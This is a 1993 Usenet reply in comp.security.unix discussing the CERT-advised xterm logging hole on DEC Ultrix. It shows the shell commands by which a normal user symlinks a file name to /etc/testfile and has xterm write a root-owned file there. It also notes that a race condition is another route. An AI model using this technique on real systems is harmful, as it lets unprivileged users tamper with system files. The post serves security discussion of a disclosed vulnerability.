From mboxrd@z Thu Jan 1 00:00:00 1970 X-Google-Language: ENGLISH,ASCII-7-bit X-Google-Thread: 10952f,219aade351c000bd X-Google-Attributes: gid10952f,public X-Google-Thread: 10b612,e0b8605a40e1dbb6,start X-Google-Attributes: gid10b612,public X-Google-Thread: 1164f8,e0b8605a40e1dbb6,start X-Google-Attributes: gid1164f8,public X-Google-ArrivalTime: 1993-11-25 02:56:28 PST Xref: gmd.de comp.security.unix:1294 comp.unix.ultrix:12017 comp.sys.dec:12042 Newsgroups: comp.security.unix,comp.unix.ultrix,comp.sys.dec Path: gmd.de!xlink.net!howland.reston.ans.net!pipex!uknet!gdt!aber!ccs From: ccs@aber.ac.uk (Christopher Samuel) Subject: Re: access() (was: Xterm "feature") Message-ID: <1993Nov25.103117.8461@aber.ac.uk> Followup-To: comp.security.unix Organization: University of Wales - Aberystwyth - Prifysgol Cymru References: <2ccatj$1k8@usenet.rpi.edu> <3e%@byu.edu> <2d02c1$t5f@nz12.rz.uni-karlsruhe.de> <1993Nov24.180621.8087@cee.hw.ac.uk> Date: Thu, 25 Nov 1993 10:31:17 GMT [ Tagged some DEC newsgroups so they can see this. ] [ Followup-To set back to comp.security.unix ] In article <1993Nov24.180621.8087@cee.hw.ac.uk> ngm@cee.hw.ac.uk (Neil Milne) doodled: > I've checked the R4 and R5 xterm source , and there's virtually no code > between the access and the open functions. Surely this isn't the way the > hole is exploited? > > Correct me if I'm wrong! :-> When I was figuring out what the problem was from the CERT advisory, it took me two attempts to create a file in /etc as a normal user. [DEC Ultrix 4.3, supplied X11R4 xterm] % pwd /aber/ccs % xterm -l -lf /etc/testfile *** [didn't work] % ln -s /etc/testfile testfile % xterm -l -lf ./testfile *** [worked - session logged to /etc/testfile, file owned by root] So I didn't need to use a race condition, although that *is* another way of doing things. Your mileage may vary. Chris -- Christopher Samuel, Computer Unit, U.W Aberystwyth, Aberystwyth, WALES E-mail: ccs@aber.ac.uk PGP 2.3 public key available on request "Sssh! This is postmodern theory: speak too loud and you'll destroy it!" - jlk0@aber.ac.uk